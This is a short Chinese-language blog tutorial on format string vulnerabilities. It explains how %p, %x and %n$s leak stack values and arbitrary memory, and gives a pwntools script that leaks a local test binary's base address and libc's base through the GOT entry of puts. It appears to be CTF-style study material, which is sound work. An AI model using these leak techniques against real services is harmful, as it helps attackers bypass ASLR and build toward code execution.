格式化字符串泄露内存

Chiu Lv4

泄露栈变量内存

泄露栈变量的值

获取栈中被视为第 n+1 个参数的值:%n$x%n$p

注意:%x 其实只是 %d 的 16 进制输出,对应的是 32 位也就是 4 字节;在 64 位操作系统下,只会截取后 32 位;%p 和系统位数关联没有问题,因此建议用 %p

泄露栈变量对应对应地址的内容

获取栈中被视为第 n+1 个参数对应地址的内容:%n$s

泄露任意地址内存

获取地址 addr 对应的值(addr 为第 k 个参数):addr%k$s

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

elf = ELF("./test")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
p = process([elf.path])

p.sendafter("please input:\n", "%p")

#%p打印了一个程序的地址,在gdb中vmmap查看本机程序的基址,相减得到偏移0x2012,由于偏移是定值,所以可以通过此来计算靶机中程序的基址,libc同理
elf.address = int(p.recv(14), 16) - 0x2012
info("elf base: " + hex(elf.address))
# gdb.attach(p, "b *$rebase(0x13b3)\nc")
# pause()
p.sendafter("please input:\n", "%7$saaaa" + p64(elf.got['puts']))
libc.address = u64(p.recvuntil('\x7F')[-6:].ljust(8, '\x00')) - libc.sym['puts']
info("libc base: " + hex(libc.address))

p.interactive()
  • Title: 格式化字符串泄露内存
  • Author: Chiu
  • Created at : 2024-07-31 13:46:48
  • Updated at : 2024-07-31 13:47:23
  • Link: https://github.com/Idealist17/github.io/2024/07/31/格式化字符串泄露内存/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments